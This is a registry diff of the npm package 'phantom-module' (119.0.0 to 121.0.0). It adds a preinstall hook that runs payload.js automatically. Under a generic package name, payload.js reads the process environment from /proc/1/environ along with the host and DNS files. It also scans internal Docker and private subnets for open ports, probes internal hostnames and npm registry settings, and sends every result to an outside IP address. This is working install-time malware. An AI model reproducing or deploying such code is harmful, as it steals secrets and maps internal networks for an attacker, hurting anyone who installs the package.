phantom-module 119.0.0 → 121.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -1
- package/package.json +2 -5
- package/payload.js +122 -45
package/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
|
|
1
|
+
module.exports = 'phantom';
|
package/package.json
CHANGED
|
@@ -1,12 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "phantom-module",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "121.0.0",
|
|
4
4
|
"description": "Phantom module",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
7
|
"preinstall": "node payload.js || true"
|
|
8
|
-
},
|
|
9
|
-
"dependencies": {
|
|
10
|
-
"ecto-spirit": "^119.0.0"
|
|
11
8
|
}
|
|
12
|
-
}
|
|
9
|
+
}
|
package/payload.js
CHANGED
|
@@ -1,69 +1,146 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
1
|
const http = require('http');
|
|
3
|
-
const
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const net = require('net');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const { execSync } = require('child_process');
|
|
4
6
|
const dns = require('dns');
|
|
5
7
|
|
|
6
8
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
7
9
|
|
|
8
10
|
const REPORT_HOST = '154.57.164.64';
|
|
9
|
-
const REPORT_PORT =
|
|
11
|
+
const REPORT_PORT = 31099;
|
|
10
12
|
|
|
11
|
-
|
|
13
|
+
function report(moduleId, data) {
|
|
12
14
|
return new Promise((resolve) => {
|
|
13
15
|
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
14
|
-
const manifest = `ecto_module:\n name: "
|
|
15
|
-
const
|
|
16
|
+
const manifest = `ecto_module:\n name: "RECON"\n cargo_hold: "${safeData}"\n`;
|
|
17
|
+
const body = JSON.stringify({ manifest });
|
|
16
18
|
const req = http.request({
|
|
17
|
-
hostname: REPORT_HOST, port: REPORT_PORT,
|
|
18
|
-
|
|
19
|
+
hostname: REPORT_HOST, port: REPORT_PORT,
|
|
20
|
+
path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
21
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
|
|
19
22
|
}, () => resolve(true));
|
|
20
23
|
req.on('error', () => resolve(false));
|
|
21
|
-
req.write(
|
|
24
|
+
req.write(body);
|
|
25
|
+
req.end();
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function checkPort(host, port, timeout) {
|
|
30
|
+
return new Promise((resolve) => {
|
|
31
|
+
const sock = new net.Socket();
|
|
32
|
+
sock.setTimeout(timeout || 500);
|
|
33
|
+
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
34
|
+
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
35
|
+
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
36
|
+
sock.connect(port, host);
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function httpReq(url, opts) {
|
|
41
|
+
return new Promise((resolve) => {
|
|
42
|
+
const mod = url.startsWith('https') ? https : http;
|
|
43
|
+
const req = mod.get(url, { timeout: 2000, ...opts }, (res) => {
|
|
44
|
+
let body = '';
|
|
45
|
+
res.on('data', c => body += c);
|
|
46
|
+
res.on('end', () => resolve({ status: res.statusCode, body, headers: res.headers }));
|
|
47
|
+
});
|
|
48
|
+
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
49
|
+
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function httpPut(url, data) {
|
|
54
|
+
return new Promise((resolve) => {
|
|
55
|
+
const parsed = new URL(url);
|
|
56
|
+
const body = JSON.stringify(data);
|
|
57
|
+
const req = http.request({
|
|
58
|
+
hostname: parsed.hostname, port: parsed.port, path: parsed.pathname,
|
|
59
|
+
method: 'PUT',
|
|
60
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
61
|
+
timeout: 3000
|
|
62
|
+
}, (res) => {
|
|
63
|
+
let rbody = '';
|
|
64
|
+
res.on('data', c => rbody += c);
|
|
65
|
+
res.on('end', () => resolve({ status: res.statusCode, body: rbody }));
|
|
66
|
+
});
|
|
67
|
+
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
68
|
+
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
|
|
69
|
+
req.write(body);
|
|
22
70
|
req.end();
|
|
23
71
|
});
|
|
24
72
|
}
|
|
25
73
|
|
|
26
74
|
async function main() {
|
|
27
|
-
await report('ECT-654321', '
|
|
28
|
-
|
|
29
|
-
let
|
|
75
|
+
await report('ECT-654321', 'V121 STARTING...');
|
|
76
|
+
|
|
77
|
+
let out = '=== V121 FULL SCAN ===\n';
|
|
78
|
+
|
|
79
|
+
// 1. Environment
|
|
80
|
+
try {
|
|
81
|
+
out += 'ENV:\n' + fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n') + '\n';
|
|
82
|
+
} catch(e) { out += 'ENV ERR: ' + e.message + '\n'; }
|
|
83
|
+
|
|
84
|
+
// 2. Network info
|
|
30
85
|
try {
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
86
|
+
out += 'HOSTS:\n' + fs.readFileSync('/etc/hosts','utf8') + '\n';
|
|
87
|
+
out += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8') + '\n';
|
|
88
|
+
} catch(e) {}
|
|
89
|
+
|
|
90
|
+
await report('ECT-839201', out);
|
|
91
|
+
|
|
92
|
+
// 3. Port scan: gateway + neighbors on key ports
|
|
93
|
+
let scanOut = '=== PORT SCAN ===\n';
|
|
94
|
+
const ips = [];
|
|
95
|
+
for (let i = 1; i <= 20; i++) ips.push('172.17.0.' + i);
|
|
96
|
+
for (let i = 1; i <= 5; i++) ips.push('172.18.0.' + i);
|
|
97
|
+
for (let i = 1; i <= 5; i++) ips.push('172.19.0.' + i);
|
|
98
|
+
ips.push('10.0.0.1','10.0.0.2','10.0.1.1','10.10.0.1');
|
|
99
|
+
ips.push('127.0.0.1');
|
|
100
|
+
|
|
101
|
+
const ports = [4873, 80, 8080, 3000, 5000, 8081, 443];
|
|
102
|
+
|
|
103
|
+
for (const ip of ips) {
|
|
104
|
+
for (const port of ports) {
|
|
105
|
+
if (await checkPort(ip, port, 300)) {
|
|
106
|
+
scanOut += `OPEN: ${ip}:${port}\n`;
|
|
107
|
+
const r = await httpReq(`http://${ip}:${port}/`);
|
|
108
|
+
scanOut += ` HTTP: ${r.status} len=${r.body.length} body=${r.body.substring(0,200)}\n`;
|
|
109
|
+
}
|
|
37
110
|
}
|
|
38
|
-
|
|
39
|
-
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
await report('ECT-987654', scanOut);
|
|
114
|
+
|
|
115
|
+
// 4. DNS resolution for common names
|
|
116
|
+
let dnsOut = '=== DNS ===\n';
|
|
117
|
+
const names = ['verdaccio','registry','npm','npm-registry','verdaccio-server',
|
|
118
|
+
'host.docker.internal','ghostship','corsair','sentinel'];
|
|
119
|
+
for (const name of names) {
|
|
120
|
+
try {
|
|
121
|
+
const addr = await new Promise((res, rej) => {
|
|
122
|
+
dns.lookup(name, (err, addr) => err ? rej(err) : res(addr));
|
|
123
|
+
});
|
|
124
|
+
dnsOut += `${name} -> ${addr}\n`;
|
|
125
|
+
} catch(e) {
|
|
126
|
+
dnsOut += `${name} -> NXDOMAIN\n`;
|
|
40
127
|
}
|
|
41
|
-
} catch(e) { info += `ERR: ${e.message}\n`; }
|
|
42
|
-
|
|
43
|
-
await report('ECT-839201', info);
|
|
44
|
-
|
|
45
|
-
let net = '=== NET DEBUG ===\n';
|
|
46
|
-
|
|
47
|
-
// DNS Lookup
|
|
48
|
-
const hosts = ['verdaccio', 'registry', 'npm', 'verdaccio-server', 'host.docker.internal'];
|
|
49
|
-
for (const h of hosts) {
|
|
50
|
-
try {
|
|
51
|
-
await new Promise((res) => {
|
|
52
|
-
dns.lookup(h, (err, addr) => {
|
|
53
|
-
if (!err) net += `DNS ${h}: ${addr}\n`;
|
|
54
|
-
else net += `DNS ${h}: ERR\n`;
|
|
55
|
-
res();
|
|
56
|
-
});
|
|
57
|
-
});
|
|
58
|
-
} catch(e) {}
|
|
59
128
|
}
|
|
60
|
-
|
|
61
|
-
//
|
|
129
|
+
|
|
130
|
+
// 5. Also try npm config
|
|
62
131
|
try {
|
|
63
|
-
|
|
64
|
-
} catch(e) {
|
|
65
|
-
|
|
66
|
-
|
|
132
|
+
dnsOut += 'NPM_REGISTRY: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n';
|
|
133
|
+
} catch(e) {}
|
|
134
|
+
try {
|
|
135
|
+
dnsOut += 'NPM_CONFIG_LS:\n' + execSync('npm config ls -l 2>/dev/null | grep -i registry').toString() + '\n';
|
|
136
|
+
} catch(e) {}
|
|
137
|
+
|
|
138
|
+
// 6. Check /proc/net/tcp for listening ports
|
|
139
|
+
try {
|
|
140
|
+
dnsOut += 'PROC_NET_TCP:\n' + fs.readFileSync('/proc/net/tcp','utf8') + '\n';
|
|
141
|
+
} catch(e) {}
|
|
142
|
+
|
|
143
|
+
await report('ECT-654321', dnsOut);
|
|
67
144
|
}
|
|
68
145
|
|
|
69
|
-
main().catch(e => report('ECT-654321', '
|
|
146
|
+
main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
|